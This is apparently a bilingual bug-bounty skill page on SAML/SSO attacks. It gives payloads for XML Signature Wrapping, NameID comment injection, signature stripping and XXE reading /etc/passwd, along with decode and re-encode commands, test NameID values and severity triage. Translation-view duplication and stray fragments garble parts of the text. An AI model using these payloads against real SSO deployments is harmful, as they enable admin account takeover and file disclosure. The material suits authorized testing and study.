hunt-saml
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
Chinese20. SAML / SSO ATTACKS
20. SAML / SSO 攻击
SSO bugs frequently pay High–Critical. XML parsers are notoriously inconsistent.
SSO 漏洞经常可带来高危至严重级别的安全影响,而 XML 解析器的行为历来极不一致。
Attack Surface
攻击面
bash
undefinedbash
undefinedFind SAML endpoints
Find SAML endpoints
cat recon/$TARGET/urls.txt | grep -iE "saml|sso|login.*redirect|oauth|idp|sp"
cat recon/$TARGET/urls.txt | grep -iE "saml|sso|login.*redirect|oauth|idp|sp"
Key endpoints: /saml/acs (assertion consumer service), /sso/saml, /auth/saml/callback
Key endpoints: /saml/acs (assertion consumer service), /sso/saml, /auth/saml/callback
undefinedundefinedAttack 1: XML Signature Wrapping (XSW)
攻击 1:XML Signature Wrapping (XSW)
xml
<!-- BEFORE: valid assertion by user@company.com -->
<saml:Response>
<saml:Assertion ID="legit">
<NameID>user@company.com</NameID>
<ds:Signature><!-- Valid, covers ID=legit --></ds:Signature>
</saml:Assertion>
</saml:Response>
<!-- AFTER: inject evil assertion. Signature still validates (covers #legit).
App processes the FIRST assertion found = evil. -->
<saml:Response>
<saml:Assertion ID="evil">
<NameID>admin@company.com</NameID> <!-- Attacker-controlled -->
</saml:Assertion>
<saml:Assertion ID="legit">
<NameID>user@company.com</NameID>
<ds:Signature><!-- Valid --></ds:Signature>
</saml:Assertion>
</saml:Response>xml
<!-- BEFORE: valid assertion by user@company.com -->
<saml:Response>
<saml:Assertion ID="legit">
<NameID>user@company.com</NameID>
<ds:Signature><!-- Valid, covers ID=legit --></ds:Signature>
</saml:Assertion>
</saml:Response>
<!-- AFTER: inject evil assertion. Signature still validates (covers #legit).
App processes the FIRST assertion found = evil. -->
<saml:Response>
<saml:Assertion ID="evil">
<NameID>admin@company.com</NameID> <!-- Attacker-controlled -->
</saml:Assertion>
<saml:Assertion ID="legit">
<NameID>user@company.com</NameID>
<ds:Signature><!-- Valid --></ds:Signature>
</saml:Assertion>
</saml:Response>Attack 2: Comment Injection in NameID
攻击 2:NameID 注释注入
xml
<!-- Attacker registers/controls account: admin@company.com.evil.com -->
<NameID>admin@company.com<!---->.evil.com</NameID>
<!-- Signed canonical form (C14N without-comments strips the comment BEFORE
digest): "admin@company.com.evil.com" — the value the signature covers. -->
<!-- App's XML processor also strips the comment but only reads the text node
UP TO the comment boundary: "admin@company.com" — a DIFFERENT effective
identity than was signed. The discrepancy is the bug. -->
<!-- Works when signer's C14N and app's text extraction disagree on comments.
CVE-2017-11428 (Ruby-SAML / OneLogin), CVE-2016-5697. -->xml
<!-- Attacker registers/controls account: admin@company.com.evil.com -->
<NameID>admin@company.com<!---->.evil.com</NameID>
<!-- Signed canonical form (C14N without-comments strips the comment BEFORE
digest): "admin@company.com.evil.com" — the value the signature covers. -->
<!-- App's XML processor also strips the comment but only reads the text node
UP TO the comment boundary: "admin@company.com" — a DIFFERENT effective
identity than was signed. The discrepancy is the bug. -->
<!-- Works when signer's C14N and app's text extraction disagree on comments.
CVE-2017-11428 (Ruby-SAML / OneLogin), CVE-2016-5697. -->Attack 3: Signature Stripping
攻击 3:Signature 剥离
1. Decode SAMLResponse: echo "BASE64" | base64 -d | xmllint --format - > saml.xml
2. Delete the entire <Signature> element
3. Change NameID to admin@company.com
4. Re-encode: base64 -w0 saml.xml (POST binding = raw base64, NO compression; Redirect binding uses raw DEFLATE — not gzip)
5. Submit — if server doesn't verify signature presence = admin ATO1. Decode SAMLResponse: echo "BASE64" | base64 -d | xmllint --format - > saml.xml
2. Delete the entire <Signature> element
3. Change NameID to admin@company.com
4. Re-encode: base64 -w0 saml.xml (POST binding = raw base64, NO compression; Redirect binding uses raw DEFLATE — not gzip)
5. Submit — if server doesn't verify signature presence = admin ATOAttack 4: XXE in SAML Assertion
攻击 4:SAML Assertion 中的 XXE
xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:Assertion>
<NameID>&xxe;</NameID>
</saml:Assertion>xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:Assertion>
<NameID>&xxe;</NameID>
</saml:Assertion>Attack 5: NameID Manipulation
攻击 5:NameID 操纵
Test these NameID values:
- admin@company.com (generic admin)
- administrator@company.com
- support@target.com
- Any email found in disclosed reports for this program
- ${7*7} (SSTI if NameID gets rendered in a template)Test these NameID values:
- admin@company.com (generic admin)
- administrator@company.com
- support@target.com
- Any email found in disclosed reports for this program
- ${7*7} (SSTI if NameID gets rendered in a template)Tools
工具
bash
undefinedbash
undefinedSAMLRaider (Burp extension) — automated XSW testing
SAMLRaider (Burp extension) — automated XSW testing
BApp Store → SAMLRaider → intercept SAMLResponse → SAML Raider tab
BApp Store → SAMLRaider → intercept SAMLResponse → SAML Raider tab
Manual workflow:
Manual workflow:
echo "BASE64_SAML" | base64 -d > saml.xml
echo "BASE64_SAML" | base64 -d > saml.xml
Edit saml.xml
Edit saml.xml
base64 -w0 saml.xml # Re-encode
base64 -w0 saml.xml # Re-encode
URL-encode the result before sending as SAMLResponse parameter
URL-encode the result before sending as SAMLResponse parameter
undefinedundefinedSAML Triage
SAML 严重性分级
XSW successful = Critical (ATO any user)
Sig stripping = Critical (ATO any user)
Comment injection = High (ATO admin)
XXE in assertion = High (file read / SSRF)
NameID manip = Medium/High (depends on what NameID maps to)XSW successful = Critical (ATO any user)
Sig stripping = Critical (ATO any user)
Comment injection = High (ATO admin)
XXE in assertion = High (file read / SSRF)
NameID manip = Medium/High (depends on what NameID maps to)Related Skills & Chains
相关 Skills 与链式利用
- — SAML XSW with absent audience-restriction validation is the canonical SP-impersonation-of-admin chain. Chain primitive: XSW1 attack relocates signed assertion to a secondary position + injects evil assertion with
hunt-atoin primary position + SP processes first assertion (the evil one) + SP doesn't validateNameID=admin@target.comso an assertion intended for IdP-A is accepted by SP-B → admin ATO across federated tenant boundary.<AudienceRestriction> - — SAML signature-stripping is the textbook auth-bypass pattern; this skill provides the SAML mechanics, hunt-auth-bypass provides the broader bypass-discipline. Chain primitive: capture valid SAMLResponse → regex-strip
hunt-auth-bypasselement entirely → modify<ds:Signature>to admin → re-encode base64 → POST to<NameID>→ SP wantAssertionsSigned=false silently accepts → admin session issued without any cryptographic challenge./saml/acs - — SAML-fronted OAuth issuers turn assertion-level bugs into token-level ATO. Chain primitive: SP issues OAuth bearer tokens after SAML assertion validation + XSW alters NameID to admin → SP's token endpoint issues OAuth token bearing admin claims → all downstream OAuth-scoped APIs (admin API, billing API, user-management API) grant admin access from a single forged assertion.
hunt-oauth - — SAML assertions ARE XML; XXE in the assertion parser is a separate chain on top of XSW. Chain primitive: SAML parser without
hunt-xxe+disallow-doctype-declin assertion +<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>→ SP renders/logs NameID → /etc/passwd contents leak in error response or audit log → file-read primitive on SAML SP infrastructure.<NameID>&xxe;</NameID> - — Pull the SAML/XSW Payload Catalog (XSW1-XSW8 templates, comment-injection variants for libxml/Xerces/MSXML parser differences, signature-wrapping with multiple Reference elements, key-confusion payloads where attacker-IdP-signed assertions are accepted by trust-naive SPs) and the always-rejected list for "SAMLResponse accepted on the wrong endpoint" claims that don't actually validate.
security-arsenal - — Run the Pre-Severity Gate before claiming Critical on a SAML "vulnerability" that only modifies non-security-relevant attributes (display name, locale) without altering NameID, AuthnContext, or role-bearing AttributeStatements. Theoretical XML manipulation that doesn't cross an authorization boundary is Informational, not Critical — the auth-decision-changing step is the gate.
triage-validation
- ——在缺少 audience-restriction 校验的情况下利用 SAML XSW,是冒充管理员攻击 SP 的典型链式利用。链式原语:XSW1 攻击将已签名的 assertion 移至次要位置 + 在主要位置注入携带
hunt-ato的恶意 assertion + SP 处理找到的第一个 assertion(恶意 assertion)+ SP 未校验NameID=admin@target.com,因此原本面向 IdP-A 的 assertion 会被 SP-B 接受 → 跨联合身份租户边界实现管理员 ATO。<AudienceRestriction> - ——Signature 剥离是典型的认证绕过模式;本 skill 提供 SAML 攻击机制,
hunt-auth-bypass则提供更广泛的绕过方法论。链式原语:捕获有效的 SAMLResponse → 使用正则表达式完全剥离hunt-auth-bypass元素 → 将<ds:Signature>修改为管理员 → 重新进行 base64 编码 → POST 至<NameID>→ SP 在/saml/acs时静默接受 → 无需任何密码学挑战即签发管理员会话。wantAssertionsSigned=false - ——以 SAML 为前端的 OAuth 颁发方会将 assertion 层面的漏洞转化为 token 层面的 ATO。链式原语:SP 在验证 SAML assertion 后签发 OAuth bearer token + XSW 将 NameID 篡改为管理员 → SP 的 token 端点签发携带管理员 claims 的 OAuth token → 所有具有 OAuth 权限范围的下游 API(admin API、billing API、user-management API)仅凭一个伪造的 assertion 即可授予管理员访问权限。
hunt-oauth - ——SAML assertion 本质上就是 XML;XXE 可作为叠加在 XSW 之上的另一条攻击链。链式原语:SAML 解析器未配置
hunt-xxe+ 在 assertion 中加入disallow-doctype-decl+<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>→ SP 渲染或记录 NameID →<NameID>&xxe;</NameID>的内容通过错误响应或审计日志泄露 → 在 SAML SP 基础设施上形成文件读取原语。/etc/passwd - ——可调用 SAML/XSW Payload Catalog(XSW1–XSW8 模板、针对 libxml/Xerces/MSXML 解析器差异的注释注入变体、包含多个 Reference 元素的 signature-wrapping 载荷,以及攻击者 IdP 签名的 assertion 被信任校验不严格的 SP 接受这一场景的 key-confusion 载荷),并使用 always-rejected 列表筛除“错误端点接受 SAMLResponse”等实际上未经验证的说法。
security-arsenal - ——在将仅修改非安全相关属性(显示名称、locale),且未更改 NameID、AuthnContext 或承载角色的 AttributeStatements 的 SAML“漏洞”声称为 Critical 之前,先运行 Pre-Severity Gate。未跨越授权边界的理论性 XML 操纵应评为 Informational,而非 Critical——只有实际改变认证决策的步骤才是判定门槛。
triage-validation